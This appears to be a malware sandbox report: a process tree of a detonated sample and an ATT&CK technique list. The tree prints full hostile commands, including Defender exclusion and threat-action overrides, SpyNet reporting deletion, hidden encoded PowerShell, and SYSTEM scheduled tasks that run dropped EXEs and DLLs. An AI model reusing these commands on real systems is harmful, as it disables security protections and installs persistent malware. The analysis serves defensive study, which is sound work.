"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:7476

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:7332

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:32
4⤵
PID:8664

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:64
4⤵
PID:8572

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:32
4⤵
PID:7980

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:64
4⤵
PID:4152

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:32
4⤵
PID:9012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:64
4⤵
PID:780

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "grCZRVZpm" /SC once /ST 01:28:20 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:8032

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:4812

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "grCZRVZpm"
3⤵
- Executes dropped EXE
PID:6428

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "grCZRVZpm"
3⤵
PID:8256

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:8380

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "xsEpqqHAgqAwsAroz" /SC once /ST 01:13:10 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\RaHQuAK.exe\" za /site_id 668658 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:7100

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "xsEpqqHAgqAwsAroz"
3⤵
- Blocklisted process makes network request
PID:4056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
PID:7708

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:7868

C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\RaHQuAK.exe
C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\RaHQuAK.exe za /site_id 668658 /S
2⤵
- Checks computer location settings
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:5796

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
3⤵
PID:6848

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:7024

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:6756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6500

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:6000

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:5092

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:8076

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:8048

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:8016

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:8352

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:6372

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4616

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
- Blocklisted process makes network request
- Modifies data under HKEY_USERS
PID:6588

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bRciptYQhTCMvEFWGJ"
3⤵
PID:5936

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:7968

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:2260

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
4⤵
PID:6536

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:7856

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:7760

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\STjmdXhOU\dSYNFc.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ArGDBXWmyYtLacf" /V1 /F
3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Creates scheduled task(s)
PID:6428

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:5128

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ArGDBXWmyYtLacf2" /F /xml "C:\Program Files (x86)\STjmdXhOU\FHYkfFs.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:3988

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:8836

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "ArGDBXWmyYtLacf"
3⤵
PID:7600

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4120

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ArGDBXWmyYtLacf"
3⤵
PID:8636

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "dqMFPCMVHmhnSY" /F /xml "C:\Program Files (x86)\gaSWcYIjjvwU2\tESueHF.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:6328

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "sOuBCsGGBJoge2" /F /xml "C:\ProgramData\QPFeEjmgnBUOfRVB\ZWQSbNx.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:5232

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gdlTlvZfIMOZAvCeb2" /F /xml "C:\Program Files (x86)\YceypsUXabDXnCzNCPR\JlmviXX.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:6236

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PcFGIyIlUJyYablHCHc2" /F /xml "C:\Program Files (x86)\NMbcPgNClKinC\PKVZtrT.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:7900

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "nMmJzTJTMvgDqJXEl" /SC once /ST 03:19:46 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\DOMizAmS\gwTBWGB.dll\",#1 /site_id 668658" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:5576

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "nMmJzTJTMvgDqJXEl"
3⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6308

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "spuUnRNcJeWL" /SC once /ST 02:12:32 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\ulWjGXqm\FCREGSo.exe\" 3L /S"
3⤵
- Creates scheduled task(s)
PID:1928

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "spuUnRNcJeWL"
3⤵
PID:7988

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "spuUnRNcJeWL"
3⤵
PID:1356

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "spuUnRNcJeWL"
3⤵
PID:5852

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:9100

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
4⤵
PID:6620

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:2120

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
4⤵
PID:6008

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "xsEpqqHAgqAwsAroz"
3⤵
PID:5764

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\DOMizAmS\gwTBWGB.dll",#1 /site_id 668658
2⤵
PID:8372

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\DOMizAmS\gwTBWGB.dll",#1 /site_id 668658
3⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
PID:2948

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "nMmJzTJTMvgDqJXEl"
4⤵
PID:6416

C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\ulWjGXqm\FCREGSo.exe
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\ulWjGXqm\FCREGSo.exe 3L /S
2⤵
- Modifies Internet Explorer settings
PID:5596

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
3⤵
PID:7788

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:4688

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
- Blocklisted process makes network request
PID:4240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:6552

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:7216

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:7768

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:7384

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:6368

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:3296

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7048

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
- Blocklisted process makes network request
PID:7396

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:5396

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:7568

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:3300

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:6712

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:8364

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:3476

C:\Users\Admin\AppData\Roaming\vtcehcr
C:\Users\Admin\AppData\Roaming\vtcehcr
2⤵
- Suspicious use of SetThreadContext
PID:6948

C:\Users\Admin\AppData\Roaming\vtcehcr
C:\Users\Admin\AppData\Roaming\vtcehcr
3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2260

C:\Users\Admin\AppData\Roaming\eecehcr
C:\Users\Admin\AppData\Roaming\eecehcr
2⤵
PID:6756

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:984

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
2⤵
PID:7280

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
2⤵
PID:6644

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun1966fb31dd5a07.exe
Sun1966fb31dd5a07.exe
1⤵
- Executes dropped EXE
PID:4584

C:\Users\Admin\AppData\Local\Temp\is-K9P2B.tmp\Sun1966fb31dd5a07.tmp
"C:\Users\Admin\AppData\Local\Temp\is-K9P2B.tmp\Sun1966fb31dd5a07.tmp" /SL5="$7006A,247014,163328,C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun1966fb31dd5a07.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4760

C:\Users\Admin\AppData\Local\Temp\is-MHBR5.tmp\Ze2ro.exe
"C:\Users\Admin\AppData\Local\Temp\is-MHBR5.tmp\Ze2ro.exe" /S /UID=burnerch2
3⤵
- Executes dropped EXE
PID:5084

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
dw20.exe -x -s 2072
4⤵
PID:3276

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun195a1614ec24e6a.exe
Sun195a1614ec24e6a.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4784

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun19eb40faaaa9.exe
Sun19eb40faaaa9.exe
1⤵
- Executes dropped EXE
PID:4556

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun1905815e51282417.exe
Sun1905815e51282417.exe
1⤵
- Executes dropped EXE
PID:4504

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4240

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2692

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
PID:936

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Executes dropped EXE
PID:5236

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:8260

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:8348

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
- Loads dropped DLL
PID:8348

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:2632

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:8444

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:352

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:7880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5744

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:392

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:5604

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
1⤵
PID:8632

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update
1⤵
PID:7256

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions
2⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
PID:4988

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe"
3⤵
- Loads dropped DLL
- Modifies registry class
PID:8920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4252

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:4736

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:4652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k wsappx -s AppXSvc
1⤵
PID:5296

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe"
1⤵
PID:6532

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:6680

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Change Default File Association

T1042

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery